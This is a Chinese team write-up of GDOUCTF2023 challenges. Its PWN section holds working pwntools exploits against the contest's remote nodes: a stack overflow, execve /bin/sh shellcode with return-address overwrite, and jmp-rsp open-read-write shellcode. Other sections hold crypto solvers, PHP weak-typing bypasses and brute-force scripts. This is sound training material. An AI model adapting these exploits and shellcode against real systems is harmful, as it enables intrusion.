GDOUCTF2023 Writeup
序
比赛的时候踩大坑了 & 还得多学啊 & 被带飞了
PWN
EASY PWN
能往 s1 写入任意长 payload,覆盖下面的 v5 为一个非零的数就有 flag。
exp 如下:
from pwn import *
#p = process('./easypwn')
p = remote('node5.anna.nssctf.cn',28206)
context.log_level = 'debug'
def breakpoint():
gdb.attach(p)
pause()
#sh=remote('node4.buuoj.cn',26013)
payload = 'a'*(0x1f - 4 + 1)
#breakpoint()
p.sendline(payload)
p.interactive()
Shellcode
写进一段 shellcode 后跳去执行。
exp 如下:
from pwn import*
#p = process('./pwn')
p = remote('node6.anna.nssctf.cn',28557)
context.log_level = 'debug'
context.arch = 'amd64'
def breakpoint():
gdb.attach(p)
pause()
shellcode='\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
back = 0x6010A0
#breakpoint()
p.sendlineafter('Please.\n',shellcode)
payload='a'*(0xa+0x8) + p64(back)
p.sendlineafter('Let\'s start!\n',payload)
p.interactive()
真男人下120层
逆下代码就知道程序的随机数是可预测的。
直接按着题目伪代码写了相应生成随机数的 c 程序… 在 shell 那用 nc 连远端,同时执行该程序(手速快点,保证时间戳相同…),然后将程序的输出复制粘贴到 shell 处就好。
exp 如下:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
time_t v3 = time(NULL);
srand((unsigned int)v3);
int v4 = rand();
srand(v4 % 3 - 1522127470);
for (int i = 1; i <= 120; i++) {
printf("%d\n", rand() % 4 + 1);
}
return 0;
}
RANDOM
程序禁了 execve,没开 NX,有 ‘jmp rsp’ 这么一个 gadget,所以往栈上写的 shellcode 是可执行且能利用到的。
前面就直接爆破了,反正每次执行都有 101 次循环。进入到 vulnerable()
函数后发送我们的 payload。
我只打了一次,把握好 shellcode 的长度就行,大致结构是 shellcode1 + ret + shellcode2。
ret 控制程序返回地址,自然是写 ‘jmp rsp’ 的地址了。shellcode1 最长能写 40 字节,在这布置 orw。shellcode2 最长能写 16 字节,用来 抬高栈顶指针 + 跳转执行 orw。
exp 如下(这里的 orw_shellcode 只用了 35 字节):
from pwn import *
p = process('./RANDOM')
#p = remote('node6.anna.nssctf.cn',28510)
elf = ELF('./RANDOM')
context.log_level = 'debug'
context.arch='amd64'
def breakpoint():
gdb.attach(p)
pause()
# b *0x400942
# breakpoint()
while True:
p.sendlineafter('num:\n','1')
response = p.recvline().decode()
if response == "good guys\n":
log.info("sucess!")
break
jmp_rsp = 0x40094E
shellcode1 = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov edi,eax
mov rsi,rsp
sub rsi,50
xor eax,eax
syscall
xor edi,2 #mov dil,1
mov eax,edi #mov al,1
syscall
''')
shellcode2 = asm('''
sub rsp,48
jmp rsp
''')
payload = shellcode1.rjust(40,'\x90')
payload += p64(jmp_rsp)
payload += shellcode2
print(len(shellcode1))
# pause()
p.send(payload)
p.interactive()
记录下。刚开始打远端死活读不到 flag 是因为缺少了:
sub rsi,50
(可以删掉上述 exp 中的 sub rsi,50
后试着调一下…)这段 shellcode 在实现 read 的时候是直接将 flag 往栈顶写的,这就导致了 假如 flag过长 的话,会将我写入的 shellcode1 覆盖掉很大一部分,然后后面就执行不到 write 了… 狠狠踩坑。
记录一条 能修改rdx部分数据的 两个字节的指令,要控制 rdx 的值来 read/write 大量数据的时候能用上。
mov dh,0x100 >> 8
REVERSE
Check_Your_Luck
by V5nDett4
打开 cpp 文件后可以分析出需要解一个五元一次方程,在网上找一个在线解的网站即可。
TEA
by Jasonxjy
魔改tea
#include <stdio.h>
#include <stdint.h>
int main()
{
unsigned int const k[4] = { 2233,4455,6677,8899 };
unsigned int r = 32;
unsigned int const key[4] = { 2233,4455,6677,8899 };
uint32_t flag[10];
uint32_t v[10] = {0x1a800bda,0xf7a6219b,0x491811d8,0xf2013328,0x156c365b,0x3c6eaad8,0x84d4bf28,0xf11a7ee7,0x3313b252,0xdd9fe279};
int j = 0, n = 0;
for (int j = 8; j >= 0; j--) {
unsigned int i = 0;
unsigned int delta = 256256256, sum = delta * (32+j);
n = j + 1;
do {
i++;
v[n] -= ((((v[j] << 4) ^ (v[j] >> 5)) + v[j]) ^ ((key[(sum >> 11) & 3]) + sum)); v[j] -= (((key[sum & 3] + sum) ^ ((v[n] << 4) ^ (v[n] >> 5)) + v[n]) ^ sum);
sum -= delta;
} while (i <= 32);
}
printf("解密后的数据:0x%x,0x%x,0x%x,0x%x,0x%x,0x%x,0x%x,0x%x,0x%x,0x%x\n", v[0], v[1], v[2], v[3], v[4], v[5], v[6], v[7], v[8], v[9]);
for (int i = 0; i < 10; i++)
{
for (int j = 3; j>=0; j--)
{
printf("%c", (v[i] >> (j * 8)) & 0xFF);
}
}
return 0;
}
doublegame
by Jasonxjy
纯纯迷宫题,手撸即可
首先找到flag的格式,然后搞迷宫
特别注意一下迷宫修改了一下
提取出来然后走迷宫就可以了
md5小写路径+13376013
L!s!
by Jasonxjy
Ida分别打开文件再关闭创建i64文件,分析patched文件,然后用bindiff进行分析
CRYPTO
Absolute_Baby_Encrytpion
by Aer0Lite
下载后分析得知,加密脚本和加密后的字符串已给出,只要将加密脚本逆回去解出来原来加密前的字符串即可。于是将加密脚本中的 case 与encryptedString.concat 后括号里跟的内容对转即可,再次运行此逆转解密脚本将加密后的字符串输入就去即可输出本题 flag
babylua
by Jasonxjy
这个题给的是两个lua的代码,md5那个其实就是实现md5所以可以不用细看了,前面的是加密过程,可以了解到先是随机生成了四个字符,然后将其md5编码两次,将得到的十六进制一个字符个字符的与flag做加法,给了我们前十位,这就意味着我们可以通过爆破的方式将md5数字还原,然后还原flag即可
from hashlib import md5
key='b5e62abe84'
s=[200 ,161 ,198 ,157 ,173 ,169 ,199 ,150 ,105 ,163 ,193 ,175 ,173 ,194 ,135 ,131 ,135 ,225]
flag=''
# for i in range(65,123):
# for j in range(65,123):
# for k in range(65,123):
# for l in range(65,123):
# o=chr(i)+chr(j)+chr(k)+chr(l)
# a=md5(o.encode()).hexdigest()
# b=md5(a.encode()).hexdigest()
# if(b[:10]==key):
# print(b)
key0='b5e62abe84bc8afbfd97c91a15aa0867'
for i in range(len(s)):
flag+=chr(s[i]-ord(key0[i]))
print(flag)
#flag{He11o_Lua!!!}
Magic of Encoding
by Jasonxjy
这个题呢其实很简单,只不过做起来很复杂,这一长串密文里面有很多干扰字符,观察一下发现是循环的,首先去除干扰字符,然后发现剩余的是一个压缩包格式的东西,这部分同样存在循环,只留下一组之后解base64就是一个压缩包了,打开压缩包里面就是flag,因为是手动去除的这里就贴个去除后的base64以及flag
UEsDBBQACAAIAAZUilYAAAAAAAAAACUAAAAVACAATWFnaWMgb2YgRW5jb2RpbmcudHh0VVQNAAdNkTNkTpEzZE2RM2R1eAsAAQT1AQAABBQAAABLy0lMr84wKDCOrzQojc/JzDZOiS/JSI33NUnPTI43L8pMzq7lAgBQSwcIjmX6WicAAAAlAAAAUEsBAhQDFAAIAAgABlSKVo5l+lonAAAAJQAAABUAIAAAAAAAAAAAAKSBAAAAAE1hZ2ljIG9mIEVuY29kaW5nLnR4dFVUDQAHTZEzZE6RM2RNkTNkdXgLAAEE9QEAAAQUAAAAUEsFBgAAAAABAAEAYwAAAIoAAAAAAA==
flag:flag{h0p3_y0u_lik3d_the_M4gic_7rick}
Math Problem
by Jasonxjy
这个题可以构造copper还原x,然后按照圆锥曲线公式去得到k倍的p,和n做一个gcd就能得到p了。然后解一下rsa即可得到flag,要注意的是需要调一下copper的参数才能解出x
from Crypto.Util.number import *
e = 65537
n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877
c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008
a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619
b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913
y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854
R.<x> = PolynomialRing(Zmod(n))
f=x**3+a*x+b-y**2
f=f.monic()
x0 = f.small_roots(X=2^64, beta=0.4,epsilon=0.01)
print(x0)
x=9757458594430450711
kp=pow(y,2)-b-a*x-x**3
import gmpy2
p=gmpy2.gcd(kp,n)
q=n//p
d=gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
#flag{c4edd6d0-d1b3-cbda-95e3-a323edc35be5}
WEB
hate eat snake
by Aer0Lite
此题存在 bug,在分析完 snake.js 源代码后试玩了几次游戏,最后一次游戏撞墙之后再按空格欲重新开始便直接弹框得到了 flag,后续思考正确解法应该是放在本地运行,修改特定函数即可。
受不了一点
by Aer0Lite
第一部分传数组即可绕过,cookie 头在 hackbar 直接添加 cookie=j0k3r 即可,对于 aaa 和 bbb 利用 php 弱类型比较分别传一个整型和字符串进去即可(字符串弱类型比较时只会截取前面的部分),最后的两个 POST 和 GET 的 flag 直接传空值进去即可。
EZ WEB
by Aer0Lite
F12 查看网页源代码可发现 ‘/src’ 提示,访问后得到 app.py 下载源码,分析 app.py 得知用 PUT 方法访问那一长串后缀即可(具体多少忘记了),在浏览器此网址下 F12 打开调试工具,在网络分析出编辑并重发此包使其访问方式为 PUT,再次查看源码即可得到 flag。
MISC
Matryoshka
by V5nDett4
纯爆破,脚本如下:
import zipfile
def evaluate_expression(expression):
tokens = expression.split()
result = int(tokens[0])
for i in range(1, len(tokens), 2):
operator = tokens[i]
operand = int(tokens[i + 1])
if operator == '+':
result += operand
elif operator == '-':
result -= operand
elif operator == '*':
result *= operand
elif operator == '/':
result /= operand
elif operator == '%':
result %= operand
return result
for i in range(1,1001):
file_path = "password{}.txt".format(1001-i)
with open(file_path, "r") as file:
passwd_content = file.read()
passwd_content_ec=passwd_content.replace('zero','0')
passwd_content_ec=passwd_content_ec.replace('one','1')
passwd_content_ec=passwd_content_ec.replace('two','2')
passwd_content_ec=passwd_content_ec.replace('three','3')
passwd_content_ec=passwd_content_ec.replace('four','4')
passwd_content_ec=passwd_content_ec.replace('five','5')
passwd_content_ec=passwd_content_ec.replace('six','6')
passwd_content_ec=passwd_content_ec.replace('seven','7')
passwd_content_ec=passwd_content_ec.replace('eight','8')
passwd_content_ec=passwd_content_ec.replace('nine','9')
passwd_content_ec=passwd_content_ec.replace('plus',' + ')
passwd_content_ec=passwd_content_ec.replace('times',' * ')
passwd_content_ec=passwd_content_ec.replace('minus',' - ')
passwd_content_ec=passwd_content_ec.replace('mod',' % ')
passwd_content_ec=passwd_content_ec.replace('+ 0',' + ')
passwd_content_ec=passwd_content_ec.replace('* 0',' * ')
passwd_content_ec=passwd_content_ec.replace('- 0',' - ')
passwd_content_ec=passwd_content_ec.replace('% 0',' % ')
passwd_content=evaluate_expression(passwd_content_ec)
passwd_content=str(passwd_content).replace('-','')
passwd_content=int(passwd_content)
zip_path = "Matryoshka{}.zip".format(1001-i)
password1 = passwd_content
password1 = str(password1)
zfile = zipfile.ZipFile(zip_path, "r")
zfile.extractall(path='.',pwd=password1.encode('utf-8'))
在跑完20多分钟后才出,脚本老是报错。
有一些坑的地方,首先是他的密码出来后要运算,运算顺序是从左往右,无视算式优先级规则,所以需要编一个规则来符合。
第二是出现的结果也就是密码会出现负数,需要替换结果后再提交。
PS:python 的缩进害死人。